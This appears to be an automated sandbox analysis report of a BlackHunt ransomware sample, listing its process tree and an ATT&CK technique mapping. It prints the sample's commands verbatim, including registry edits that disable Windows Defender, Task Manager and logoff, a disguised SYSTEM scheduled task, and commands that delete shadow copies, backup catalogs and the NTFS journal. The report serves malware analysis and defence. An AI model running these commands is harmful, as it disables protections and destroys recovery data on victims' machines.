- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:4996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3868
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1252
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:3524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2380
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:4268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:4164
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:4872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:4520
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:4336
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:3944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4308
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3056
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3888
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:4568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:3864
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4864
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:4540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2948
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1760
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4892
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:4712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2020
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe" /F
  2⤵
  PID:1188
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:4916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:3728
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1976
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4172
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4920
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2904
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1164
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2560
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4360
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3064
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4872
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5500

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2952

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6832

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1132

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery